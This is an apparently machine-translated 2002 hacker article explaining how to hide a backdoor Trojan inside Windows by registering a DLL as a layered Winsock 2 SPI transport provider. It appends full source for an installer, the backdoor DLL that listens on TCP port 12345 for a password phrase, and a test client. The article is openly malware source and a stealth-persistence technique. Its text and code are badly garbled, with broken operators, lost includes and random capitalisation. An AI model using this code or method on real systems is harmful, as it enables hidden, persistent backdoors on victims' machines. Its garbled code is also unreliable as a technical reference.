Another development idea and implementation of no process DLL Trojan
Another development idea and implementation of no process DLL Trojan
Author: Too2y [original]
E-mail: Too2y@safechina.net
Homepage: www.safechina.net
Date: 11-3-2002
I. Hide of the process underwindows
2.Windows Socket 2 SPI Technical Overview
3. SPI-based DLL Trojan Technology
Four. Main code analysis
V. Summary and Post
Six. Appendix Source Code
A) Hide of the process under Windows
In the 32-bit operating system of M $, there are many ways to implement the hidden features. Under Win98, register the program into system services to be hidden in the process list, but under NT / 2000, due to the operating system adds a number of features to make the process hidden to a new height. Among them, DLL Trojans is a very popular form that adds yourself to other executable files, so that our DLL file does not appear in the task manager, but our DLL carrier EXE file. In the art of Jeffrey Richter, several ways to insert a DLL, such as add Trojan DLL, Troy DLL mode, using Windows hooks and remote threads, etc., I will not do it. Detailed detail. Now introducing a new way to hide the process, which is still existing in the form of a DLL (also needed to be loaded by other executable files), and also has a portable feature. It is the new feature of Windows Socket 2, the Service Provider Interface, SPI attempts to support all 32-bit Windows operating systems, and of course, Windows 95.
2) Windows Socket 2 SPI Technical Overview
Winsock 2 SPI is a new feature that is provided for a writer service provider. Winsock 2 not only provides a Windows Socket Application Programming Interface (API) that supplies the network service, but also includes the WINSOCK service provider interface (SPI) and WS2_32 implemented by the transfer service provider and the name resolution service provider. DLL. Here, the transfer service provider is hidden in the process. The following is a hierarchical relationship between the application, the WS2_32.dll and the transmit service provider interface:
----------------------------
| Windows Socket 2 Applications |
---------------------------- Windows Socket 2 API
| WS2_32.dll |
---------------------------- Windows Socket 2 Transport SPI
| Transport Service Provider (DLL) |
----------------------------
The transmission service provider exists in the form of a DLL, which has only one inlet function, which is Wspstartup, where the parameter lpwsaprtocol_infow structure pointer determines the type of service provider, the other 30 transport service provider functions are assigned The way the table is called. When the network application calls the WSASocket / Socket function, there will be three parameters: address family, socket type and protocol, is the three parameters to determine which type of transfer service provider is coming. Implement the function of this application. In the entire hierarchy, WS2_32.dll only acts as a medium, and the application is an implementation of the user function, and the virtual network transmission function is the transmission service provider interface. There are some default service providers in the current system, which have implemented most basic functions, so we only have to "modify" datagrams when writing service provider programs, and send data reports to system services. The provider implements the remaining functions. There are three protocols in the service provider: hierarchical protocols, basic protocols, and protocol chains. The way to distinguish between the structure of the Protocolchain structure in WSAPROTOCOL_INFOW is achieved. The CHAINLEN value of the layered protocol is 0, the value of the base protocol is 1, and the value of the protocol chain is greater than 1. In fact, the layered protocols and basic protocols do not have much difference in functional implementation (all can be forwarded by calling the system service provider), but there is very different installations. When installing the underlying protocol, we replace all the basic service providers' DLL file names and paths to our custom base protocol; after installing the hierarchical protocol, we must also form a protocol chain associated with the hierarchical agreement. Then install the protocol chain. After all the service providers are installed, we must also rearrange their installation order, this is important. When our WSasocket / Socket creates a socket, WS2_32.dll will match the service provider that matches the three parameters provided in the service provider database and the WSAStartup / Socket, if there are two identical types The service provider exists in the service provider database, then the service provider before the order will be called. Typically, after we have installed your own service providers, you will rearrange your service providers at the forefront. In the instance instbd.exe, we use a hierarchical agreement to show how to install the transport service provider.
WS2_32.dll is the use of standard dynamic link libraries to load the service provider interface DLL to the system and call Wspstartup to initialize. Wspstartup is the initialization function of the Windows Socket 2 application calls the SPI program, that is, the entrance function. Wspstartup parameter LPWSAPROTOCOL_INFOW Pointer Provides the protocol information expected by the application, and then through this structural pointer we can get the Save system service provider's DLL name and path, load the system service provider, find the Wspstartup function of the system SPI program. The pointer, we can associate the Wspstartup functions of your own service provider and the Wspstartup function of the system SPI program, and then call the system of each service provider function. In the implementation of the data transfer service provider, we need two programs, one is the executable to install the transport service provider; the other is the DLL form of data transfer service provider.
3) SPI-based DLL Trojan Technology
Above we have already introduced the characteristics of the transport service provider, let us see if this technology is used to hide the Trojan process. There are system network services in each operating system, which is automatically loaded when the system is started, and many are based on IP protocols. If we write an IP protocol's transport service provider and install the front end of the service provider database, the system network service will load our service provider. If the Trojan is embedded in the service provider's DLL file, our Trojans will be started when the system network service is started. This form of DLL Trojan only must be installed once, and then it will be automatically loaded into the process of executable, and there is a feature that it will be loaded by multiple network services. Usually, when the system is closed, the system network service will end, so our Trojan can also remain active when the system is running. In the transport service provider, 30 SPI functions exist in the form of allocation tables. Most functions in WS2_32.dll have corresponding transmission service provider functions. For example, WSPRECV and Wspsend, the corresponding functions in WS2_32.dll are WSARECV and WSasend. We assume that it has written a service provider based on the IP protocol and is installed in the system. When the system is restarted, it is loaded by the svchost.exe program, and SVCHOST.EXE is listened to 135 / TCP, and it has a per ANDF. In our transmission service provider, you re-written the WSPRECV function, and the data received is analyzed. If you contain the eyeli number sent by the client, you can perform the corresponding command to get the desired action, then we can call the wspsend function. Send the results to the client, not only hidden the process, but also reuse existing ports.
4) Main code analysis
1.instbd.exe
The main function of the executable INSTBD.EXE is to install our own hierarchical transport service provider and rearrange the order of all transport service providers, so that our service provider is located at the top of the protocol chain, so that the corresponding type of application Just enter our transmission service provider interface. This program has only one parameter, which is installation (-Install) or uninstall. As a demonstration, this program only has IP hierarchical protocols and protocol chains associated with TCP. In Backdoor.dll, we don't make any modifications to datagrams, just launching our Trojan Process.
Custom function:
Bool getFilter (); // Get all installed transport service providers
Void freefilter (); // Release storage space
Void installfilter (); // Install the hierarchical protocol, protocol chain and sort
Void Removefilter (); // Uninstall the hierarchical protocol and protocol chain
Code analysis:
Protoinfo = (LPWSAPROTOCOL_INFOW) GlobalAlloc (GPTR, ProtoinFosize);
// Allocate the storage space of the WSAPROTOCOL_INFOW structure
Totalprotos = WSCENUMPROTOCOLS (NULL, Protoinfo, & ProtoinFosize, & ErrorCode);
/ / Get all service providers installed in the system
GetCurrentDirectory (max_path, filter_path);
// Get the current path
_tcscpy (filter_name, _t ("// backdoor.dll"));
// Construct the path of the service provider file backdoor.dll
WSCINSTALLPROVIDER (& Filterguid, Filter_Path, & iPlayerInfo, 1, & ErrorCode);
/ / Install custom IP hierarchical protocol
iPlayerCataid = Protoinfo [i] .dwcatalogentryId; // Get unique sign allocated by WS2_32.dll with the installed custom IP hierarchical protocol
UDPChainfo.Protocolchain.Chainentries [0] = iPlayerCataID;
// Install the custom IP hierarchical protocol as the root layer service provider of the custom UDP protocol chain on the top of the protocol chain
WSCINSTALLPROVIDER (& Filterchainguid, Filter_Path, ChainArray, Provcnt, & ErrorCode);
// Install the protocol chain
WSCWRITEPROVIDERORDER (CataNtries, Totalprotos);
/ / Update all the service providers' installation order, and rank custom service providers in the forefront of all protocols
WSCDeinstallProvider (& Filterguid, & ErrorCode);
// Uninstall IP hierarchical protocol
WSCDeinstallProvider (& Filterchainguid, & ErrorCode);
// Uninstall the protocol chain
2.BackDoor.dll
The transmission service provider exists in the form of a dynamic link library, and is loaded by WS2_32.dll when the application needs, and is uninstalled after being used. The transmission service provider has only one entry function is WspStartup, which is the initialization function of the Windows Socket application call SPI, and the calls of other SPI functions are implemented by the parameter WspCallTable of Wspstartup. There is a global variable that can be used to call the DLL program read and modification. When we load the service provider for the first time, we start the Trojan process. Demonstration There is no special feature in the Trojan process. When the client and the listener server port connection, if the client sends a specific taper, the server will send a specific message.
Custom function:
INT WSPAPI Wspstartup (Word WversionRequested, LPWSPData LPWSPDATA, LPWSAPROTOCOL_INFOW LPPROTOINFO,
WspupCallTable UpCallTable, LPWSPPROC_TABLE LPPROCTABLE;
// SPI function Wspstartup and Windows Socket 2 API function WSAStartup corresponds, Wspstartup is the unique entry function, and the remaining 30 SPI functions are implemented by parameter upCallTable, they can only be called internal, no except Entrance
Code analysis:
Hthread = Createthread (NULL, 0, Backdoor, NULL, 0, NULL);
// Create a Trojan process, it is just a circulation of data
GetModuleFileName (null, processname, max_path);
/ / Get the full name of the executable of the calling this service provider dynamic link library
Outputdebugstring (_T ("Start The Backdoor ...");
// Output debugging information
Layerid = protoinfo [i] .dwcatalogentryid;
// Get the unique sign allocated by the WS2_32.dll of the installed custom IP hierarchical protocol
NextLayerid = LPPROTOINFO-> Protocolchain.Chainentries [i 1];
/ / Get the marker information of the next layer of transmission service provider
WscgetProviderpath (& Protoinfo [i] .ProviderID, FilterPath, & Filterpathlen, & ErrorCode);
// Get the installation path of the next layer of transmission service providers Expandenvironmentstrings (FilterPath, FilterPath, Max_Path);
/ / Extended environment variable
Hfilter = loadingLibrary (FilterPath));
// Load the next layer of transmission service provider
WspstartupFunc = (LPWSPSTARTUP) GetProcAddress (Hfilter, "Wspstartup")));
/ / Get the inlet function Wspstartup of the next layer of transmission service provider for call
WspstartupFunc (WversionRequested, LPWSPDATA, LPPROTOINFO, UPCALLTABLE, LPPROCTABLE);
// Call the next layer of transport service provider's Wspstartup function to implement hook function
NextPROCTABLE = * LPPROCTABLE;
/ / Save 30 service function pointers of the next layer of service provider
Since the service provider in the form of a dynamic link library provides an inlet function out, there is also a configuration file backdoor.def:
Exports Wspstartup
/ / Provide an inlet function Wspstartup
3.testbd.exe
This is a test program that uses whether the server side of Trojans is working properly. After it sends a specific message to the server side, if the server will return to a specific message normally, it will not receive any messages. Since Trojan's server is listening to the 12345 port of TCP, our client is also based on TCP protocol.
5) Summary and post
The purpose of this article is to introduce you to a programming idea, not any Trojan tutorial. In fact, technology and ideas will continue to increase in the constant confrontation. We only fully understand various technologies, and even forward-looking ability to maintain network order and promote the development of network security. Finally, I will give you an old saying: know each other and know each other.
6) Source code of Appendix
1.Instbd.exe source code
#define unicode
#define _unicode
#include
#include
#include
#include
#include
Guid filterGuid = {0xC5FABBD0, 0X9736, 0X11D1, {0x93, 0x7f, 0x00, 0xc0, 0x4f, 0xAD, 0x86, 0X0D}}
Guid filterchainguid = {0xF9065320, 0x9E90, 0X11D1, {0x93, 0x81, 0x00, 0xc0, 0x4f, 0xAD, 0x86, 0x0D}};
Bool getfilter ();
Void FreeFilter ();
void installfilter ();
Void removefilter ();
Void start ();
Void usage ();
INT TOTALPROTOS = 0;
DWORD protoinfosize = 0;
LPWSAPROTOCOL_INFOW Protoinfo = NULL;
Int main (int Argc, char * argv [])
{
START ();
IF (argc == 2)
{
IF (! strcmp (argv [1], "- install"))
{
Installfilter ();
Return 0;
}
Else if (! Strcmp (Argv [1], "- Remove"))
{
REMOVEFILTER ();
Return 0;
}
}
USAGE ();
Return 0;
}
Bool getfilter ()
{
Int ErrorCode;
Protoinfo = NULL;
TotalProtos = 0;
protoinfosize = 0;
IF (wscenumprotocols (null, protoinfo, & protoinfosize, & errorcode) == Socket_ERROR)
{
IF (ERRORCODE! = WSAENOBUFS)
{
Printf ("First WscenumProtocols Error:% D / N", ErrorCode);
Return False;
}
}
IF ((LPWSAPROTOCOL_INFOW) GLOBALLOC (GPTR, ProtoinFoSize) == NULL)
{
Printf ("GlobalLoc in getFilter Error:% D / N", getLastError ());
Return False;
}
IF ((TotalProtos = WSCENUMPROTOCOLS (Null, Protoinfo, & ProtoinFoSize, & Error)) == Socket_ERROR)
{
Printf ("SECOND WSCENUMPROTOCOLS ERROR:% D / N", getLastError ());
Return False;
}
Printf ("Found% D protocols! / n", totalprotos);
Return True;
}
Void FreeFilter ()
{
Globalfree (Protoinfo);
}
Void installfilter ()
{
INT I;
Int provcNT;
Int cataindex;
Int ErrorCode;
Bool rawip = false;
BOOL TCPIP = FALSE;
DWORD iPlayerCataid = 0, TCPORIGCATAID;
Tchar filter_path [MAX_PATH];
TCHAR FILTER_NAME [MAX_PATH];
Tchar chainname [WSAPROTOCOL_LEN 1];
LPDWORD CATAENTRIES;
Wsaprotocol_infow iPlayerInfo, TcpchainInfo, ChainArray [1];
Getfilter ();
For (i = 0; i { IF (! rawip && protoinfo [I] .iaddressFamily == AF_INET && protoinfo [i] .iprotocol == ipproto_ip) { Rawip = true; Memcpy (& iPlayerInfo, & Protoinfo [I], SIZEOF (Wsaprotocol_Infow); iPlayerInfo.dwserviceFlags1 = Protoinfo [i] .dwserviceflags1 & (~ xp1_ifs_handles); } IF (! tcpip && protoinfo [I] .iaddressFamily == AF_INET && protoinfo [i] .iprotocol == ipproto_tcp) { TCPIP = TRUE; TCPORIGCATAID = Protoinfo [i] .dwcatalogenTryid; Memcpy (& TcpchainInfo, & Protoinfo [I], SIZEOF (Wsaprotocol_infow); tcpchaininfo.dwserviceflags1 = protoinfo [i] .dwserviceflags1 & (~ xp1_ifs_handles); } } _TCSCPY (iPlayerInfo.szProtocol, _Text ("IP Filter")); iPlayerInfo.Protocolchain.Chainlen = Layered_Protocol; IF (GetCurrentDirectory (MAX_PATH, FILTER_PATH) == 0) { Printf ("getCurrentDirectory Error:% D / N", getLastError ()); Return; } _tcscpy (filter_name, _text ("// backdoor.dll"); _TCSCAT (Filter_Path, Filter_Name); IF (WSCINSTALLPROVIDER (& Filterguid, Filter_Path, & iPlayerInfo, 1, & ErrorCode) == Socket_ERROR) { Printf ("WSCINSTALLPROVIDER ERROR:% D / N", ErrorCode; Return; } Freefilter (); Getfilter (); For (i = 0; i { IF (Memcmp (& Protoinfo [I] .ProviderID, & Filterguid, Sizeof (GUID)) == 0) { iPlayerCataid = Protoinfo [i] .dwcatalogenTryId; Break; } } ProVCNT = 0; IF (TCPIP) { SWPRINTF (ChainName, _Text ("TCP Filter"); _TCSCPY (TcpchainInfo.szprotocol, chainname); IF (tcpchaininfo.protocolchain.chainlen == Base_Protocol) { Tcpchaininfo.protocolchain.chainentries [1] = TCPORIGCATAID; } Else { For (i = tcpchaininfo.protocolchain.chainlenlen; i> 0; I -) { Tcpchaininfo.protocolchain.chainentries [i 1] = tcpchaininfo.protocolchain.chainentries [i]; } } Tcpchaininfo.Protocolchain.Chainlen ; Tcpchaininfo.protocolchain.Chanentries [0] = iPlayerCataID; Memcpy (& ChainArray [ProVCNT ], & TcpchainInfo, Sizeof (Wsaprotocol_infow); } IF (WSCINSTALLPROVIDER (& Filterchainguid, Filter_Path, ChainArray, Provcnt, & ErrorCode) == Socket_ERROR) { Printf ("WSCINSTALLPROVIDER for CHAIN Error:% D / N", ErrorCode); Return;} Freefilter (); Getfilter (); IF ((CataEntries = (LPDWORD) GlobalLoc (GPTR, TOTALPROTOS * SIZEOF (WSAPROTOCOL_INFOW)) == NULL) { Printf ("GlobalAlloc Int Installfilter Error:% D / N", ErrorCode); Return; } CataIndex = 0; For (i = 0; i { IF (Memcmp (& Protoinfo [I] .ProviderID, & Filterguid, Sizeof (GUID)) == 0 || Memcmp (& Protoinfo [i] .ProviderID, & FilterchaingUID, Sizeof (GUID)) == 0) { CataNtries [CataIndex ] = protoinfo [i] .dwcatalogenTryId; } } For (i = 0; i { IF (Memcmp (& Protoinfo [I] .ProviderID, & Filterguid, Sizeof (GUID))! = 0 && Memcmp (& Protoinfo [I] .Providerid, & FilterchaingUID, Sizeof (GUID))! = 0) { CataNtries [CataIndex ] = protoinfo [i] .dwcatalogenTryId; } } IF ((ERRORCODE == WSCWRITEPROVIDERORDER (CataEntries, Totalprotos)! = error_success) { Printf ("WSCWRITEPROVIDERORDER ERROR:% D / N", getLastError ()); Return; } Freefilter (); } Void Removefilter () { Int ErrorCode; IF (WscdeInstallProvider (& Filterguid, & ErrorCode) == Socket_ERROR) { Printf ("WSCDeinstall Filterguid Error:% D / N", ErrorCode); } IF (WscdeInstallProvider (& Filterchainguid, & ErrorCode) == Socket_ERROR) { Printf ("WSCDeinstall FilterchaingUid Error:% D / N", ErrorCode); } Return; } Void start () { Printf ("Install Backdoor, By TOO2Y / N"); Printf ("e-mail: Too2y@safechina.net/n"); Printf ("Homepage: www.safechina.net/n"); Printf ("DATE: 11-3-2002 / N / N"); Return; } Void usage () { Printf ("Instbd [-install | -remove] / N"); Return; } 2. Backdoor.dll source code #pragma data_seg ("Shared") INT DLLCOUNT = 0; #pragma data_seg () #pragma Comment (Linker, "/ Section: Shared, RWS") #define unicode #define _unicode #include #include #include Guid filterGuid = {0xC5FABBD0, 0X9736, 0X11D1, {0x93, 0x7f, 0x00, 0xc0, 0x4f, 0xAD, 0x86, 0X0D}} LPWSAPROTOCOL_INFOW Protoinfo = NULL; Wspproc_table nextproctable; DWORD protoinfosize = 0; Handle hmutex; Handle hthread; Point nowpt; INT TOTALPROTOS = 0; DWORD WINAPI Backdoor (LPVOID) { Socket Sock, Sockt; WSADATA WSA; INT IRET = 0; Char msg [25]; Struct SockAddr_in sin; IF (WsaStartup (MakeWord (2, 2), & WSA)) { Outputdebugstring (_t ("WSAStartup Error!")); Return 0; } IF ((Sock = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == Invalid_socket { Outputdebugstring (_t ("socket error!"); Return 0; } Sin.sin_addr.s_addr = htons (inaddr_any); sin.sin_family = af_INet; Sin.sin_port = HTONS (12345); IF (Bind (STRUCK, STRUCKADDR *) & SIN, SIZEOF (SIN)) == Socket_ERROR) { Outputdebugstring (_t ("bind error!"); Return 0; } IF (Listen (Sock, 5) == Socket_ERROR) { Outputdebugstring (_t ("listen error!")); Return 0; } While (1) { IF ((sockt = accept (sock, null, null) == Socket_ERROR) { Outputdebugstring (_t ("accept error!"); CONTINUE; } IF ((IRET == RECV (Sockt, MSG, SIZEOF (MSG), 0)) == Socket_ERROR) { OutputDebugstring (_t ("Recv Error!")); CloseSocket (SOCKT); CONTINUE; } IF (strstr (MSG, "I am Too2y))) { MEMSET (MSG, 0, SIZEOF (MSG)); Memcpy (MSG, "I am Waiting for you!", SIZEOF (MSG) -1); IF ((IRET == Send (Sockt, MSG, SizeOf (MSG), 0)) == SOCKET_ERROR) { Outputdebugstring (_T ("Send Error!")); CloseSocket (SOCKT); Continue; } } OutputDebugstring (_T ("Transport SuccessFully)); CloseSocket (SOCKT); } Return 1; } Bool getfilter () { Int ErrorCode; Protoinfo = NULL; protoinfosize = 0; TotalProtos = 0; IF (wscenumprotocols (null, protoinfo, & protoinfosize, & errorcode) == Socket_ERROR) { IF (ERRORCODE! = WSAENOBUFS) { Outputdebugstring (_T ("First WscenumProtocols Error!")); Return False; } } IF ((LPWSAPROTOCOL_INFOW) GLOBALLOC (GPTR, ProtoinFoSize) == NULL) { OutputDebugstring (_t ("GlobalAlloc Error!")); Return False; } IF ((TotalProtos = WSCENUMPROTOCOLS (Null, Protoinfo, & ProtoinFoSize, & Error)) == Socket_ERROR) { Outputdebugstring (_T ("SECOND WSCENUMPROTOCOLS ERROR!")); Return False; } Return True; } Void FreeFilter () { Globalfree (Protoinfo); } Bool WinApi Dllmain (Hinstance Hmodule, DWORD REASON, LPVOID LPRESERVED) { Tchar processname [MAX_PATH]; Tchar ShowMessage [MAX_PATH 25]; Switch (REASON) { Case DLL_Process_attach: { GetModuleFileName (null, processname, max_path); _TCSCPY (ShowMessage, ProcessName); _TCSCAT (ShowMessage, _T ("Loading My DLL ..."); Outputdebugstring (showMessage); Hmutex = Createmutex (NULL, FALSE, NULL); WaitforsingleObject (hmutex, infinite); Dllcount ; IF (DLLCOUNT == 1) { Outputdebugstring (_T ("Start The Backdoor ..."); Hthread = Createthread (NULL, 0, Backdoor, NULL, 0, NULL); } ReleaseMutex (HMUTEX); Break; } Case DLL_PROCESS_DETACH: { WaitforsingleObject (hmutex, infinite); Dllcount -; IF (dllcount == 0) { CloseHandle (HTHREAD); } ReleaseMutex (HMUTEX); CloseHandle (HTHREAD); Break; } } Return True; } Int Wspapi Wspstartup (Word WVersionRequested, LPWSPDATA LPWSPDATA, LPWSAPROTOCOL_INFOW LPPROTOINFO, WspupCallTable UpCallTable, LPWSPPROC_TABLE LPPROCTABLE) { INT I; Int ErrorCode; Int filterpathlen; DWORD LAYERID = 0; DWORD nextlayerid = 0; Tchar * filterpath; Hinstance hfilter; LPWSPSTARTUP WspstartupFunc = NULL; IF (LPPROTOINFO-> protocolchain.chainlen <= 1) { Outputdebugstring (_T ("chainlen <= 1")); Return False; } Getfilter (); For (i = 0; i { IF (Memcmp (& Protoinfo [I] .ProviderID, & Filterguid, Sizeof (GUID)) == 0) { Layerid = protoinfo [i] .dwcatalogentryid; Break; } } For (i = 0; i { IF (LPPROTOINFO-> protocolchain.chainentries [i] == layerid) { NextLayerid = LPPROTOINFO-> Protocolchain.Chainentries [i 1]; Break; } } Filterpathlen = max_path; Filterpath = (tchar *) GlobalAlloc (GPTR, FilterPathlen); For (i = 0; i { IF (NextLayerid == Protoinfo [i] .dwcatalogentryid) { IF (WscgetProviderPath (& Protoinfo [i] .Providerid, Filterpath, & Filterpathlen, & ErrorCode == Socket_ERROR) { Outputdebugstring (_t ("WscgetProviderPath Error!")); Return Wsaeproviderfailedinit; } Break; } } IF (! EXPANDENVIRONMENTSTRINGS (Filterpath, Filterpath, Max_Path)) { Outputdebugstring (_T ("ExpandenvironmentStrings Error!")))); Return Wsaeproviderfailedinit; } IF ((Hfilter = loadLibrary) == NULL) { Outputdebugstring (_t ("LoadLibrary Error!")); Return Wsaeproviderfailedinit; } IF ((Wspstartupfunc = (LPWSPSTARTUP) GetProcaddress (Hfilter, "Wspstartup") == NULL) { Outputdebugstring (_T ("getProcessAddress Error!"))); Return Wsaeproviderfailedinit; } IF ((ERRORCODE = WspstartupFunc (WversionRequested, LPWSPData, LPPROTOINFO, UPCALLTABLE, LPPROCTABLE))! = Error_SUCCESS { Outputdebugstring (_t ("Wspstartupfunc Error!"))); Return ErrorCode; } NextPROCTABLE = * LPPROCTABLE; Freefilter (); Return 0; } 3.TestBd.exe source code #include #include #include int main () { WSADATA WSA; Socket sock; Struct SockAddr_in sin; Char msg [25] = "I am Too2y"; Irge; Printf ("=== [Test for SPI Backdoor] === / N"); Printf ("=== [TOO2Y AT 11-3-2002] === / N / N"); IF (WsaStartup (MakeWord (2, 2), & WSA)) { Printf ("WSAStartup Error:% D / N", Wsagetlasterror ()); GetChe (); Return -1; } IF ((Sock = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == Invalid_socket { Printf ("Socket Error:% D / N", Wsagetlasterror ()); GetChe (); Return -1; } SIN.SIN_ADDR.S_ADDR = INET_ADDR ("127.0.0.1"); sin.sin_family = af_INet; Sin.sin_port = HTONS (12345); IF (Connect (STRUCK, STRUCKADDR *) & SIN, SIZEOF (SIN)) == Socket_ERROR) { Printf ("Connect Error:% D / N", wsagetlasterror ()); GetChe (); Return -1; } IF ((IRet = Send (Sock, MSG, SizeOf (MSG), 0)) == Socket_ERROR) { Printf ("Send Error:% D / N", WsageTlasterror ()); GetChe (); Return -1; } MEMSET (MSG, 0, SIZEOF (MSG)); IF ((IRET = Recv (Sock, MSG, SizeOf (MSG), 0)) == Socket_ERROR) { Printf ("Recv Error:% D / N", WsageTlasterror ()); GetChe (); Return -1; } Printf ("Re:"); Printf (MSG); CloseSocket (SOCK); WSACLEANUP (); GetChe (); Return 0; }